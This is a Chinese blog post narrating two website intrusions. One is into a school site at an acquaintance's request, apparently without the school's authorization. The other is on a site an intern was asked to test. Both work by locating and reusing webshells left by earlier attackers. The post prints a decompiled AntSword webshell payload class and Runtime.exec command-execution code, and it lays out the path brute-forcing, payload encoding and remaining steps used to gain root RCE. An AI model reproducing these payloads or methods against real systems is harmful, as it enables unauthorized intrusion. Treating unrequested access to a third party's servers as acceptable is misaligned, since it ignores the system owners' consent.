两次非常规方式获取权限之旅

前言

五月初有人要我帮她看看她专升本的学校有没有漏洞,五月底又有人找我帮他看看他实习公司安排的站点有没有漏洞。因此记录一下这次获取权限的另类思路。

权限获取

帮妹妹获取学校权限

五月初的时候,某个晚上,有个女孩子私聊我了,问我怎么绕过修改密码的界面,此界面是由于使用初始密码登录后,强制要求修改符合密码复杂度的密码。

测试一下重置流程,会重新返回登录界面,而不是后台首页,因此无法去通过修改响应信息的关键字,以及直接访问后台首页的url进行绕过。

image

由于这个年龄,晚上睡不着很正常,所以就帮妹妹看了一下这个学校。

信息搜集

妹妹告知了我该学校的一部分信息(如工号和学校情况),然后我就想着能不能拿一个站点权限,毕竟不能拿shell的安服仔不是一个好的安服仔。

在信息搜集时发现一个可能可以被获取权限的站点。

image

疑是可被getshell的站点

image

但是通过测试发现、此处无上传漏洞。

但是在对js分析的时候,发现了一个图片管理的接口。

image

此处可以预览部分网站被上传的图片。

发现历史入侵痕迹

并且也发现了疑是webshell的文件。

入侵时间主要是去年年中和今年年初。

image

image

并在其中一个图片中找到了webshell的代码(由于写文章的时间,和之前测试时不一样,原先发现的webshell部分已经被删除)

image

那么这里就大胆猜测,应该有一个技术还不错的骇客成功拿到了该站的权限。

分析文件上传后的路径

通过此处分析可知,上传成功后,文件被保存在服务器的路径是/uploadfiles/文件后缀/年月/日/文件名
image

那么就有可能存在一个jsp或者jspx的马在服务器。

分析webshell后门路径

image

此时直接访问以下两个目标
http://x.x.x.x/uploadfiles/jsp
http://x.x.x.x/uploadfiles/jspx

发现存在jspx目录,此处就说明,该站点曾经被上传过一个jspx的webshell。

此时就直接用burp去爆破时间节点,然后再爆破shell路径。

时间爆破范围应该是在2020年至2022年。

image

通过爆破,找到了webshell的上传的年月时间

image

继续爆破找到了日

image

此时只差确定webshell的文件名了,这里随缘爆破1-9999。

emmm,其实前面不应该打码的。

image

结果是没想到爆出来了一个jspx

成功帮妹子getshell

image

直接github搜这个title

还是放和妹子的聊天截图吧

image

image

此时告诉妹子,通过查询edu上该校漏洞的历史提交记录发现,当前时间节点无任何getshell的高危漏洞,因此是后门,被恶意上传不告知的。

image

image

image

image

通过cmd马写一个哥斯拉,直连,发现存在许多shell。

image

最后也希望该妹妹能够成功专升本啦。

image

帮弟弟获取某站点权限

image

周一打完攻防,有个师傅私聊我了,要我帮他看看站,恰好回到酒店无聊就帮他看了一下。

这个目标是他的实习公司要他测的,并且有限制要求,不能传马,还给了一个账号名的提示,没给密码。

信息搜集

没给密码,看了一下登录框和登录流程,有验证码,所以懒得爆破了,试了一下常规的弱口令,没进去。

image

分析站点结构

在对站点js进行分析时发现了一个上传接口

试了一下,txt都无法传,无法正常用。

image

继续找接口
image
发现了附件管理接口,直接访问

发现历史webshell

访问接口后,直接搜jsp,看有没有啥奇怪的jsp文件被传在附件了,结果发现了疑是webshell的文件。

并且有6/2=3

image

此时和弟弟沟通

image

此时就要想办法知道这三个shell的代码

此时发现还存在一个文件下载的接口

image

直接构造数据包,并通过附件管理接口的fileid去查询webshell的内容。

第一个jsp,好像没用

image

第二个马

image

没见过,百度搜了一下这个马,原来是蚁剑的马(有没有觉得这两个字特别难打)

尝试直连。

image

连接被重置,所以就想到直接发送命令执行的代码。

尝试命令执行

由于无法通过蚁剑直连目标的webshell,所以此处直接尝试连接一个可以正常连接蚁剑的马。

image

将此数据,先url解码,再base64解码,最后输出到字节码class文件中。

1
yv66vgAAADEBCQoAOQB4CQBbAHkJAFsAeggAewkAWwB8CAB9CQBbAH4IAH8JAFsAgAoAWwCBBwCCCgALAHgIAIMIAIQIAIUIAIYLADMAhwsAMgCICwAzAIgLADIAiQoAWwCKCQBbAIsKAFsAjAoACwCNBwCOBwCPCgAaAHgIAJAKABoAkQoAGQCSCgAaAJILADMAkwoACwCSCgBbAJQKAJUAlggAlwoAmACZCACaCACbCgBbAJwIAJ0IAJ4KAEkAnwoAoAChCgCgAJIKABoAogoAOQCjCgA3AKQHAKUHAKYHAKcIAKgKADcAqQgAqgcAqwoANwCsBwCtCgCuAK8IALAIA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qK7YAQSq0AAe3AFCwK7AAAQACABAAEwAZAAEAaAAAACYACQAAAG0AAgBvAAoAcAAQAHMAEwBxABQAcgAWAHQAIgB1ADMAdwBzAAAABAABABkAAQB0AHUAAQBnAAAA2wAGAAYAAACPAU0SUbgAJU4tElK2AFObAEoSVLgANToEGQQSVQO9ADe2AFYBA70AObYAOjoFGQW2AC8SVwS9ADdZAxMASVO2AFYZBQS9ADlZAytTtgA6wABEwABETacAMhJYuAA1OgQZBBJZBL0AN1kDEwBJU7YAVhkEtgBaBL0AOVkDK1O2ADrAAETAAERNLLA6BAO8CLAAAQAIAIgAiQAZAAEAaAAAADIADAAAAHsAAgB8AAgAfgARAH8AGACAAC0AgQBVAIIAWACDAF8AhACHAIYAiQCHAIsAiAABAHYAAAACAHc=

输出到字节码文件中

1
echo 数据 |base64 -d > 1.class

image

再用idea反编译1.class

image

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
package com.test;  

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class Info {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String encoder = "base64";
public String cs = "UTF8";
public String randomPrefix = "2";
public String decoderClassdata;

public Info() {
}

public boolean equals(Object var1) {
this.parseObj(var1);
StringBuffer var2 = new StringBuffer();
String var3 = "4c6d80d6c63e";
String var4 = "1c0ffed1";
String var5 = "vfc5430a64bb6";

try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
this.decoderClassdata = this.decode(this.request.getParameter(var5));
var2.append(this.SysInfoCode());
} catch (Exception var8) {
var2.append("ERROR:// " + var8.toString());
}

try {
this.response.getWriter().print(var3 + this.asoutput(var2.toString()) + var4);
} catch (Exception var7) {
}

return true;
}

String SysInfoCode() {
String var1 = System.getProperty("user.dir");
String var2 = System.getProperty("os.name");
String var3 = System.getProperty("user.name");
String var4 = this.WwwRootPathCode(var1);
return var1 + "\t" + var4 + "\t" + var2 + "\t" + var3;
}

String WwwRootPathCode(String var1) {
StringBuilder var2 = new StringBuilder();
if (!var1.startsWith("/")) {
try {
File[] var3 = File.listRoots();
File[] var4 = var3;
int var5 = var3.length;

for(int var6 = 0; var6 < var5; ++var6) {
File var7 = var4[var6];
var2.append(var7.toString(), 0, 2);
}
} catch (Exception var8) {
var2.append("/");
}
} else {
var2.append("/");
}

return var2.toString();
}

public void parseObj(Object var1) {
if (var1.getClass().isArray()) {
Object[] var2 = (Object[])((Object[])var1);
this.request = (HttpServletRequest)var2[0];
this.response = (HttpServletResponse)var2[1];
} else {
try {
Class var9 = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)var9.getDeclaredMethod("getRequest").invoke(var1);
this.response = (HttpServletResponse)var9.getDeclaredMethod("getResponse").invoke(var1);
} catch (Exception var8) {
if (var1 instanceof HttpServletRequest) {
this.request = (HttpServletRequest)var1;

try {
Field var3 = this.request.getClass().getDeclaredField("request");
var3.setAccessible(true);
HttpServletRequest var4 = (HttpServletRequest)var3.get(this.request);
Field var5 = var4.getClass().getDeclaredField("response");
var5.setAccessible(true);
this.response = (HttpServletResponse)var5.get(var4);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(var1);
} catch (Exception var6) {
}
}
}
}
}

}

public String asoutput(String var1) {
try {
byte[] var2 = this.Base64DecodeToByte(this.decoderClassdata);
Method var3 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var3.setAccessible(true);
Class var4 = (Class)var3.invoke(this.getClass().getClassLoader(), var2, 0, var2.length);
return var4.getConstructor(String.class).newInstance(var1).toString();
} catch (Exception var5) {
return var1;
}
}

String decode(String var1) throws Exception {
boolean var2 = false;

try {
int var5 = Integer.parseInt(this.randomPrefix);
var1 = var1.substring(var5);
} catch (Exception var4) {
var2 = false;
}

return this.encoder.equals("base64") ? new String(this.Base64DecodeToByte(var1), this.cs) : var1;
}

public byte[] Base64DecodeToByte(String var1) {
Object var2 = null;
String var3 = System.getProperty("java.version");

try {
Class var4;
byte[] var7;
if (var3.compareTo("1.9") >= 0) {
var4 = Class.forName("java.util.Base64");
Object var5 = var4.getMethod("getDecoder").invoke((Object)null);
var7 = (byte[])((byte[])var5.getClass().getMethod("decode", String.class).invoke(var5, var1));
} else {
var4 = Class.forName("sun.misc.BASE64Decoder");
var7 = (byte[])((byte[])var4.getMethod("decodeBuffer", String.class).invoke(var4.newInstance(), var1));
}

return var7;
} catch (Exception var6) {
return new byte[0];
}
}
}

分析代码有点麻烦,所以直接想办法找直接命令执行的回显点。

发现这样一段函数方法,此处是用来测试连接,回显当前用户目录,操作系统类型,以及当前服务器的用户。

image

那就简单了,直接将此处SysInfoCode的代码修改成命令执行语句。

1
2
3
4
5
6
7
8
9
Process p=Runtime.getRuntime().exec("whoami");  
InputStream ins= p.getInputStream();
StringBuilder stringBuilder = new StringBuilder();
String line=null;
InputStreamReader inputStreamReader=new InputStreamReader(ins);
BufferedReader bufferedReader=new BufferedReader(inputStreamReader);
while((line=bufferedReader.readLine())!=null){
stringBuilder.append(line).append("\n");
}

image

然后将其编译成字节码class文件。

image

再将Info.class文件进行base64编码。

image

在对数据进行url编码,然后发包

image

成功拿到网站的root权限。

执行id命令

1
passwd=yv66vgAAADQBUgoAPgCvCQBhALAJAGEAsQgAsgkAYQCzCAC0CQBhALUIALYJAGE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ACAAQHAH4HAIEHAH8HAIEAAQcAggABAK0AAAACAK4%3D

image

最后就告诉弟弟,成功rce了。

image

总结

权限获取不一定非要通过端口弱口令RCE文件上传注入钓鱼等漏洞去获取。也可以通过信息搜集找到历史的webshell后门去获取权限。

不过此方法获取权限成本较高,不推荐,只能作为思路。

Author: jdr
Link: https://jdr2021.github.io/2022/06/01/两次非常规方式获取权限之旅/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.